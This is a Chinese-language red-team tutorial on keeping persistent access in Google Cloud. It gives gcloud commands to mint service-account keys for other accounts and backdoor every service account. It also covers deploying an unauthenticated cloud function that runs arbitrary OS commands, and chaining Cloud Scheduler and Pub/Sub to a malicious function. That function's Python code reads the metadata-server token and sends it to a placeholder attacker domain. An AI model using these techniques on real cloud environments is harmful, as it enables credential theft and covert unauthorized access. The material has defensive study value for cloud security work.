权限维持
创建服务帐号密钥¶
您可以通过多种方式向 GCP 进行身份验证,其中一种是通过服务帐户密钥。 服务帐户可以有多个与之关联的密钥,每个密钥都可以让您以该用户的身份访问 GCP
用来自 Rhino Security Labs 的相同漏洞利用脚本来执行此操作。
● https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py
如果您使用 gcloud,您可以运行以下命令为其他用户创建服务帐户密钥:
> gcloud iam service-accounts keys create OUTPUT-FILE--iam-account=IAM_ACCOUNT
接下来将密钥导入 gcloud,您将能够以该用户身份与 GCP 交互。
> gcloud auth activate-service-account --key-file=CREDENTIALS-FILE.JSON
请注意,要运行此命令,您必须设置正确的权限,否则您将被拒绝。 如果您确实拥有正确的权限,您可以对项目中的每个服务帐户进行后门,从而让您轻松访问目标云环境
云功能¶
未经认证的 HTTP 云函数¶
云功能是很好的后门。 您所要做的就是创建一个未经身份验证的云函数,其触发器是一个 HTTP 请求。 接下来,您将云功能设置为执行用户发送给您的任何操作系统命令
您不想创建新功能,也可以更新另一个云功能来植入您的后门。
要将此技术与 gcloud 一起使用,只需输入以下命令:
● 创建一个名为 main.py 的 python 脚本
> gcloud functions deploy NAME-OF-CLOUD-FUNCTION-HERE --entry-point ENTRY-POINT-HERE --runtime python37 --trigger-http --allow-unauthenticated
定时任务¶
熟悉 Linux cron ,那么 Google Cloud Scheduler 也是如此。 Linux 恶意软件通常使用 cron 进行持久性,并且可以在云中使用相同的技术
cron 作业可以用作许多事情的触发器,使用它来发送 Pub/Sub 消息。 设置一个云函数,当它接收到 Pub/Sub 消息时将触发它。 云功能可以做任何你想做的事情,使用它来将服务帐户凭据发送到攻击者的机器。
这种攻击只涉及三个步骤,如下所示:
● 创建发布/订阅主题
● 创建一个 cron 作业任务
● 创建恶意云功能
$ gcloud pubsub topics create test
接下来创建一个 cron 作业,在本例中,我将创建一个每分钟执行一次的 cron 作业。
此 cron 作业将向 Pub/Sub 主题发布消息,最终触发恶意云功能。
$ gcloud scheduler jobs create pubsub myjob --schedule "* * * * *" --topic mytopic --message-body "Hello"
最后创建恶意云函数。 这个函数应该用来做一些恶意行为,在这个例子中它会向攻击者发送一个身份验证令牌
$ gcloud functions deploy <CLOUD-FUNCTION-NAME> --entry-point <PYTHON-FUNCTION-NAME> --runtime python37 --trigger-topic=<TOPIC-NAME>
首先,我们点击元数据服务来获取附加的服务帐户身份验证令牌。
然后我们通过 GET 请求将其发送给攻击者
python import requests import json def evil_pubsub(event, context): """Triggered from a message on a Cloud Pub/Sub topic. Args: event (dict): Event payload. context (google.cloud.functions.Context): Metadata for the event. """ r = requests.get(url = "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",headers={"Metadata-Flavor":"Google"}) PARAMS = {"data":r.text} requests.get(url="http://<ATTCKER-DOMAIN-HERE>/",params = PARAMS)
一旦 cron 运行,它将向 Pub/Sub 发送一条消息。 本地监听此主题,可在触发时获取附加的服务帐户凭据